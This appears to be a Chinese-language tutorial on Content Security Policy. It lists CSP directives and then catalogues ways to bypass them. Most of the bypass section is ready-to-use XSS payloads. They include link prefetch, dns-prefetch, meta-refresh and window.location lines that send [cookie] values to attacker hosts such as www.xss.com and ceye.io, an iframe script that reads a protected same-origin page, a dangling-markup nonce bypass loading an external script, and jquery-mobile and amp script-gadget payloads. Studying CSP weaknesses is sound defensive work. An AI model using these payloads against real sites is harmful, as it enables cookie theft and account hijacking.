CSP
CSP的防护
CSP
的核心就是利用同源策略来实现对资源加载的控制,CSP
的一些资源控制:
script-src 控制脚本资源
object-src 控制embed, code, archive applet等对像
style-src 控制样式表@import和rel引入的资源
img-src 控制图片资源,包括img的src, CSS3中的url()和image()方法,link标签中的href属性
media-src 控制媒体类型的资源,包括audio, video, source, 和track标签的src属性
frame-src 控制内嵌框架的外部页面连接,包括iframe和frame
font-src 控制CSS中的@font-face
connect-src 控制XMLHttpRequest中的open(), WebScoket,EventSource
控制类型:
'none' 代表空集,不匹配任何URL
'self' 代表和当前文档同源
'unsafe-inline' 允许使用内联资源
'unsafe-eval' 允许使用eval()等函数通过字符串创建代码的方法
data: 允许使用data协议作为内容的来源
mediastream 允许mediastream协议作为内容来源
CSP的绕过
iframe
-
A,B同源,A页面有CSP保护,B页面不具有CSP保护,由于B不具有CSP保护且有XSS漏洞,所以我们可以在B页面新建一个iframe节点,src为A页面,加载A页面,从而可以通过B页面获取A页面的内容,但是这里获取的是A页面的静态资源
B页面攻击代码:<body> <script> var iframe = document.createElement('iframe'); iframe.src="A"; document.body.appendChild(iframe); setTimeout(()=>alert(iframe.contentWindow.document.getElementById('flag').innerHTML),1000); </script> </body>
用这种方法的前提条件是,A和B必须要同源,原因可以参照:
https://blog.csdn.net/weixin_30916125/article/details/96777977
-
利用 CSP 禁掉一些会过滤 XSS 向量的 js 库
但是只有chrome支持 iframe 的 csp 属性,可以用 unsafe-inline 关键字只允许内联 script 的执行,比如说有一个网站
http://www.xxx.com
的某一个 js 库会过滤 XSS 向量,那么我们就可以通过 csp 属性来禁掉js库函数的执行:<iframe csp="script-src 'unsafe-inline'" src=></iframe>
但是如果是跨域加载的话,那么还得要实现 iframe 的跨域资源加载
link
CSP 对 link 标签的预加载功能考虑得不够完善,link 预加载的功能参考:http://www.divcss5.com/html5/h50551.shtml
chrome下:
<link rel="pre-fetch" href="http://www.xss.com/x.php?c=[cookie]">
filrefox下:
<link rel="dns-prefetch" href="http://[cookie].xxx.ceye.io">
url 跳转
default-src ‘none’ 情况下,使用 meta 标签实现跳转:
<meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]">
unsafe-inline情况,用 window.location 或 window.open
<script>
windows.location="http://www.xss.com/x.php?c=[cookie]"
</script>
利用浏览器补全
当网站需要使用某些脚本的时候,会把 script 设置为 nonce,这时候只有与 nonce 匹配的脚本的才生效,比如:
Content-Security-Policy: default-src 'none';script-src 'nonce:abc'
存在如下插入点:
<p>插入点</p>
<script id="aa" nonce="abc">document.write('CSP');</script>
可以插入
<script src=//14.rs a="
插入后的结果:
<p><script src=//14.rs a="</p>
<script id="aa" nonce="abc">document.write('CSP');</script>
这样就可以加载外部 js
代码重用
有些 JS 库可以用来绕过 CSP
前提条件,页面中使用了 Jquery-mobile库,CSP 策略中包含了 script-src 'unsafe-inline'
或者 script-src 'strict-dynamic'
,利用方式:
<div data-role=popup id='<script>alert(1)</script>'></div>
另外还有amp库可以利用:
<amp-pixel src="http://ip:port/?cid=CLIENT_ID(FLAG)"></amp>
参照这个 ppt:
https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf
稍微总结一下针对几种比较典型的 CSP 策略我们可以怎么绕过:
default-src 'none'
重点在none
<meta http-equiv="refresh" content="1;url=http://www.xss.com/?c=[cookie]">
script-src 'nonce'
利用浏览器的自动补全,找到网页的插入点,插入一个 script
标签,设置 src
,像这种情况:
<p><script src=//14.rs a="</p>
<script id="aa" nonce="abc">document.write('CSP');</script>
script-src 'strict-dynamic'
可以用 js 库函数,参照上面的代码重用,还有个前提条件是使用了 jquery-mobile
库
script-src 'unsafe-eval'
可以用 js 库函数,参照上面的代码重用,还有个前提条件是使用了jquery-mobile
库
script-src 'unsafe-inline'
可以用 window.location
window.open
跳转 url
-
script-src 'self'
可以考虑 link 标签
其他:
iframe
加载同源下有 CSP 保护的页面和禁止库中的过滤函数的执行
CSP校验的是服务器返回的页面,也就是服务器还是正常拼接用户的输入,所以要绕过 CSP 的核心思想是,在原有的 xss 漏洞的基础上,考虑拼接后产生的页面中不能出现当前页面的 CSP 策略不允许的脚本字段,还有要理解 CSP 一定要注意所有策略都是针对要加载的资源(跳转的 url 不被匹配)。这样去考虑如何绕过 CSP 会使思考过程更清晰吧
参考链接:https://www.jianshu.com/p/f1de775bc43e